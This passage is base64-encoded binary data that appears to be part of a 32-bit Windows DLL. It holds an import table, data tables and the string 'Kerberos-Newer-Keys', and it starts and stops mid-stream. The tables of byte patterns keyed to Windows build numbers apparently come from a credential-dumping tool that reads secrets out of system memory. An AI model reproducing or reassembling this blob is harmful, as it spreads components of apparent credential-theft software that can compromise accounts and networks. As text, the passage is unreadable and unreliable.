Qcm9jZXNzSWQASgJHZXRQcm9jZXNzSGVhcAAAvQRTeXN0ZW1UaW1lVG9GaWxlVGltZQAAeQJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQB3AkdldFN5c3RlbVRpbWUAXQFGb3JtYXRNZXNzYWdlQQAApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAPwNMb2FkTGlicmFyeVcAAEUCR2V0UHJvY0FkZHJlc3MAAGIBRnJlZUxpYnJhcnkAGAJHZXRNb2R1bGVIYW5kbGVXAACyAUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAABkAkdldFN0ZEhhbmRsZQAAKAFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcATQRTZXRDdXJyZW50RGlyZWN0b3J5VwAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAA4DSXNXb3c2NFByb2Nlc3MAAMQBR2V0Q3VycmVudFRocmVhZAAAxQFHZXRDdXJyZW50VGhyZWFkSWQAAOcCSW5pdGlhbGl6ZVNMaXN0SGVhZAAAA0lzRGVidWdnZXJQcmVzZW50ANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBjAkdldFN0YXJ0dXBJbmZvVwAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAwARUZXJtaW5hdGVQcm9jZXNzAABLRVJORUwzMi5kbGwAAPECU3lzdGVtRnVuY3Rpb24wMzYAFAJHZXRNb2R1bGVGaWxlTmFtZVcAAO4CSW50ZXJsb2NrZWRGbHVzaFNMaXN0AOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAD4DTG9hZExpYnJhcnlFeFcAABgEUnRsVW53aW5kAIYBR2V0Q29tbWFuZExpbmVBAIcBR2V0Q29tbWFuZExpbmVXABkBRXhpdFByb2Nlc3MAFwJHZXRNb2R1bGVIYW5kbGVFeFcAABMCR2V0TW9kdWxlRmlsZU5hbWVBAABoAUdldEFDUAAA8wFHZXRGaWxlVHlwZQBkAENvbXB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